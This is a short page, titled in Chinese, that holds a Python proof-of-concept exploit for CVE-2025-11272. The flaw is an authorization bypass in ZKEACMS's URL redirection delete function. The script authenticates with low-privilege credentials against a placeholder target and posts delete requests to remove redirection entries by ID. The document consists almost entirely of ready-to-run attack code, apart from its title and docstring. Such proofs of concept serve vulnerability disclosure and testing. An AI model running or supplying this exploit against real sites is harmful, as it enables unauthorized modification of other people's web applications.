CVE-2025-11272：ZKEACMS URL重定向删除功能权限绕过漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11272 PoC - ZKEACMS UrlRedirection Delete Authorization Bypass This PoC demonstrates how a low-privilege authenticated user can delete URL redirection entries without proper authorization. """ import requests import sys TARGET_URL = "http://target-zkeacms-site.com" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit(target_url, username, password, redirect_id): session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_url = f"{target_url}/Account/Login" login_data = { "UserName": username, "Password": password } resp = session.post(login_url, data=login_data) if not resp.ok: print(f"[-] Login failed: {resp.status_code}") return False print(f"[+] Logged in as: {username}") # Step 2: Send unauthorized DELETE request via POST handler delete_url = f"{target_url}/UrlRedirection/Delete" delete_data = { "ID": redirect_id } resp = session.post(delete_url, data=delete_data) if resp.status_code == 200: print(f"[+] Successfully deleted URL redirection ID: {redirect_id}") print(f"[+] Response: {resp.text[:200]}") return True else: print(f"[-] Delete request failed: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <redirect_id>") print(f"Example: {sys.argv[0]} 1") sys.exit(1) redirect_id = sys.argv[1] exploit(TARGET_URL, USERNAME, PASSWORD, redirect_id)